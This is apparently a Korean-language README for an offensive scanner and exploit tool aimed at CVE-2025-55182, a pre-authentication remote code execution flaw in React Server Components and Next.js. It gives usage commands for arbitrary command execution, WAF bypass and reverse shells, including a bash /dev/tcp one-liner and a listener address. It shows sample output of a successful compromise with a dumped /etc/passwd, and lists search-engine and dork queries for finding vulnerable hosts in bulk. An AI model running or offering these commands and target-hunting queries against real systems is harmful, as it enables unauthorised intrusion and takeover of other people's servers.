Next.js/React RSC Scanner & Exploit - RCE

이 도구는 보안 연구원과 침투 테스터가 Next.js/React RSC 애플리케이션의 CVE-2025-55182 취약점을 탐지하고 악용할 수 있도록 설계되었습니다. 여러 스캔 모드, 악용 기능 및 WAF 우회 기술을 제공합니다.

✨ Features

🎯 다중 스캔 모드: rce, safe, vercel_bypass 모드 중에서 선택하세요.
💥 간편한 악용: 취약한 대상에서 명령 실행 또는 리버스 셸 획득.
📂 사용자 정의 페이로드: 문자열 또는 파일에서 사용자 정의 페이로드를 제공합니다.
🛡️ WAF 우회: 웹 애플리케이션 방화벽을 우회하는 기술.
⚡ 빠르고 동시적: asyncio를 사용하여 여러 대상을 스캔합니다.
📝 상세 출력: 쉬운 디버깅을 위한 정리되고 상세한 출력.
🎨 컬러 출력: 가독성 향상을 위해.
🤖 자동 OS 감지: 특히 리버스 셸을 위해 더 스마트한 악용을 지원하도록 대상의 운영 체제(Linux/Windows)를 자동으로 감지합니다.

📈 Vulnerability Details

🎯 Affected Versions

이 취약점은 다음 React Server Components 버전에 영향을 미칩니다:

React Server Components: 19.0.0, 19.1.0, 19.1.1, 및 19.2.0
Next.js 버전 ≥14.3.0-canary.77, 모든 15.x 및 16.x
RSC를 사용하는 프레임워크: React Router(RSC 모드), Waku, Redwood SDK 및 다양한 RSC 플러그인

다음 패키지도 영향을 받습니다:

react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack

🛠️ Installation```bash

git clone https://github.com/l0n3m4n/CVE-2025-55182.git cd CVE-2025-55182

Create a virtual environment

python3 -m venv venv-55182 source venv-55182/bin/activate

Install dependencies

pip install -r requirements.txt

## 사용법```bash
❯ python3 CVE-2025-55182.py -h

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

usage: CVE-2025-55182.py [-h] (-u URL | -f FILE) [-c COMMAND] [-p PAYLOAD] [-r LHOST:LPORT] [-sm MODE]
                         [-wb] [-wbs KB] [-wbu] [-o FILE] [-t NUM] [-T SEC] [-P URL] [-H HEADER] [-v]

Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications

options:
  -h, --help                       show this help message and exit
  -u, --url URL                    Single URL to scan or exploit.
  -f, --file FILE                  File containing a list of URLs to scan/exploit.

Exploitation Options:
  -c, --command COMMAND            Command to execute on the target(s).
  -p, --payloads PAYLOAD           Custom payload to execute on the target(s). Can be a string or a
                                   file path.
  -r, --reverse-shell LHOST:LPORT  Attempt a reverse shell.

Scanning Options:
  -sm, --scan-mode MODE            Scanning technique. Choices: {rce, safe, vercel_bypass}. (default:
                                   rce)
  -wb, --waf-bypass                Add junk data to the request to bypass WAFs.
  -wbs, --waf-bypass-size KB       Size of junk data in KB (default: 128).
  -wbu, --waf-bypass-utf16le       Use UTF-16LE encoding to bypass WAFs.

General Options:
  -o, --output FILE                File to save vulnerable URLs from scans.
  -t, --threads NUM                Number of concurrent threads (default: 10).
  -T, --timeout SEC                Request timeout in seconds (default: 10).
  -P, --proxy URL                  Proxy to use (e.g., http://127.0.0.1:8080).
  -H, --header HEADER              Add custom headers (e.g., 'Cookie: session=...').
  -v, --verbose                    Enable verbose output for success/failed/non-vulnerable checks.

🔬 스캔 모드

rce (기본값): 활성 스캔 모드로, echo 명령을 실행하여 취약점을 확인합니다. 가장 신뢰할 수 있는 방법이지만 대상 시스템에 로그가 남을 수 있습니다.
safe: 부채널(side-channel) 스캔 모드로, 명령을 실행하지 않습니다. 특정 오류 메시지(E{"digest")가 나타나는지 확인하여 대상이 취약한지 판단합니다. rce 모드보다 안전하지만 신뢰도는 낮을 수 있습니다.
vercel_bypass: 특정 페이로드를 사용하여 Vercel의 WAF를 우회하고 X-Action-Redirect 헤더에서 명령 출력을 확인합니다.

다양한 인코딩 기법을 사용한 WAF 우회

크레딧: @coffinxp7

🚀 예제

스캔```bash

Scan a single URL with the default rce check

python3 CVE-2025-55182.py -u http://target.com

Scan a list of URLs with the `safe` mode and 20 threads

python3 CVE-2025-55182.py -f urls.txt -sm safe -t 20

Scan with Vercel WAF bypass mode and save vulnerable URLs to a file

python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt

### 악용```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"

# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb

# Use a custom payload string
python3 CVE-2025-55182.py -u http://target.com -p "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"

# Use a custom payload from a file (windows target)
python3 CVE-2025-55182.py -u http://target.com -p windows_revshell.sh

# Get a reverse shell (linux default reverse shell) 
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444

# Get a reverse shell using a payload file (linux target)
python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh

# Force a windows reverse shell payload if auto-detection fails
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 --os windows

# Intercept in Burpsuite  
python3 CVE-2025-55182.py -u http://target.com -wbu -P http://127.0.0.1:8080

💻 취약한 대상 스캔```bash

$ python3 CVE-2025-55182.py -u http://target.com

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\[_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \__  \ _/ ___	__\/  ____/  \_____  \ |  |  \/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \ ___\|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 
        
[+] VULNERABLE: http://target.com (Mode: rce)

상세 출력으로 스캔하기```bash

$ python3 CVE-2025-55182.py -u http://target.com -v

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[+] VULNERABLE: http://target.com - Status: 500 (Mode: rce) (OS: Linux, Web Server: nginx/1.29.3)
    Target Information:
        Detected OS: Linux
        Server Software: next.js
        Content Type: text/html; charset=utf-8
        System Time: Sat, 06 Dec 2025 19:59:32 GMT
    Response snippet:
      HTTP/1.1 500 Internal Server Error
      Date: Sat, 06 Dec 2025 19:59:32 GMT
      Content-Type: text/html; charset=utf-8
      Content-Length: 4615
      Connection: keep-alive
      X-Powered-By: Next.js
      ETag: W/"1207-I2098797987"
      Vary: RSC, Next-Router-State-Tree

$ python3 CVE-2025-55182.py -u http://target.com -v

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[-] NOT VULNERABLE: https://tryhackme.com
[*] Verbose output for https://tryhackme.com:
    Target Information:
        Detected OS: Unknown
        Server Software: cloudflare
        Content Type: text/html; charset=UTF-8
        System Time: Sat, 06 Dec 2025 19:59:32 GMT
    Status Code: 500
    Response Headers:
        Date: Sat, 06 Dec 2025 19:59:32 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 4615
        Connection: keep-alive
        Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
        Expires: Thu, 01 Jan 1970 00:00:01 GMT
        Referrer-Policy: same-origin
        X-Frame-Options: SAMEORIGIN
        Server: cloudflare
        CF-RAY: 9a9e5d42b96204be-HKG
    Response Body (first 500 chars):
        <!DOCTYPE html>
        <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
        <!--[if IE 7]>    <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
        <!--[if IE 8]>    <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
        <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
        <head>
        <title>Worker threw exception | tryhackme.com | Cloudflare</title>
        <meta charset="UTF-8" />
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <meta http-equiv

명령어로 익스플로잇하기```bash

$ python3 CVE-2025-55182.py -u http://target.com -c "whoami && echo "" && cat /etc/passwd"

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Exploiting: https://target.com with command: whoami && echo "" && cat /etc/passwd
[+] COMMAND EXECUTED SUCCESSFULLY - Status: 500
----------------------------------------
nextjs

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
----------------------------------------

리버스 셸로 익스플로잇하기```bash

$ python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 -v

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Attempting reverse shell to 10.10.10.1:4444 from http://target.com
[*] Detected OS: Linux
[*] Using Linux (bash) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.

$ python3 CVE-2025-55182.py -u http://windows-target.com -r 10.10.10.1:4444 -v

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Attempting reverse shell to 10.10.10.1:4444 from http://windows-target.com
[*] Detected OS: Windows
[*] Using Windows (powershell) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.

Waf 우회 UTF-16LE```bash

❯ python3 CVE-2025-55182.py -u http://target.com/apps -c "id && ls -al" -wbu

__________ __ ________ . . .
___ \ ____ _____ / |_ \ / /| | ____ | | | |
| // __ \ \ / \ / / _ \ | | _/ __ | | | |
| | \ / / __ \ _| | / \ / | Y \ /| || | || /_ > /___ >| _____ /_______ /|| /_ >_/__/ / / / / / / / /
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit

[*] Exploiting: http://target.com/apps with command: id && ls -al [+] COMMAND EXECUTED SUCCESSFULLY - Status: 500 (Web Server: nginx/1.29.3)

3443983266

![utf-16](https://assets.kitploit.com/production/public/readmes/28258/b540c1e9fb07316478772ec219d6f4f86437947215e5604353e9b9d59296f8ed.png)
### 네트워크 오류```bash
python3 CVE-2025-55182.py -u http://target.com:3000 -c "id" -v

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Exploiting: http://target.com:3000 with command: id
[-] FAILED TO EXECUTE COMMAND
[*] Verbose output for http://target.com:3000:
    Status Code: -1
    Response Headers:
        (No headers received)
    Response Body (first 200 chars):
        An error occurred: HTTPConnectionPool(host='target.com', port=3000): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f846d6caa50>, 'Co

📂 페이로드

이 도구에는 Linux 및 Windows용으로 미리 만들어진 리버스 셸 페이로드가 포함되어 있습니다.

linux_revshell.sh: Bash 리버스 셸.
windows_revshell.ps1: PowerShell 리버스 셸.

📚 추가 참고 자료

🔎 취약한 시스템 찾기

Shodan

http.component:"next.js"
http.favicon.hash:-1766382332 (Vercel 파비콘)
"x-powered-by: Next.js"

Censys

((Next.js) and services.software.product="Next.js") and services.port=3000
services.http.response.body: "_next/static"
host.services.endpoints.http.headers:(key:"Vary" and value:"RSC, Next-Router-State-Tree")

Google Dorks

inurl:"/_next/static"
intitle:"Next.js"
site:com intitle:"Next.js"
inurl:.com ("Next.js" OR "React")
site:com ("Next.js" OR "_next/static")
site:gov.cc ("Next.js" OR "React")
site:com ("/_next/static" OR "/static/js")
site:com ("React error" OR "Next.js error")

BinaryEdge

header:"x-powered-by: Next.js"

Zoomeye

app:"Next.js"
http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router" || app="React.js"
vul.cve="CVE-2025-55182"

FOFA

app="NEXT.JS" || app="React.js"

⚠️ 면책 조항

이 도구는 교육 및 연구 목적으로만 제공됩니다. 명시적인 허가 없이 어떤 시스템에서도 사용하지 마십시오. 저자는 이 도구 사용으로 인해 발생한 피해에 대해 책임을 지지 않습니다.

📝 이슈

PR은 언제나 환영입니다 :)

게시일	2025-12-03
기본 점수	10.0 (치명적)
연구자	Lachlan Davidson (https://github.com/lachlan2k)
Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
설명	React Server Components의 치명적인 원격 코드 실행(RCE) 취약점입니다. Next.js와 같은 프레임워크를 포함해 React의 서버 측 런타임을 사용하는 애플리케이션이 영향을 받습니다. 이 문제는 신뢰할 수 없는 “Flight” 프로토콜 데이터의 안전하지 않은 역직렬화로 인해 발생하며, 공격자가 서버에서 사전 인증 코드 실행을 달성할 수 있게 합니다. 패치된 React 및 프레임워크 버전으로 업데이트해야 합니다.
EPSS 점수	27.81% (악용 확률)
CISA KEV 카탈로그	등록됨: 예, 랜섬웨어: 알 수 없음
HackerOne Hacktivity	순위: 1, 보고서: 92
패치 우선순위	A+

CVE-2025-55182-Waf

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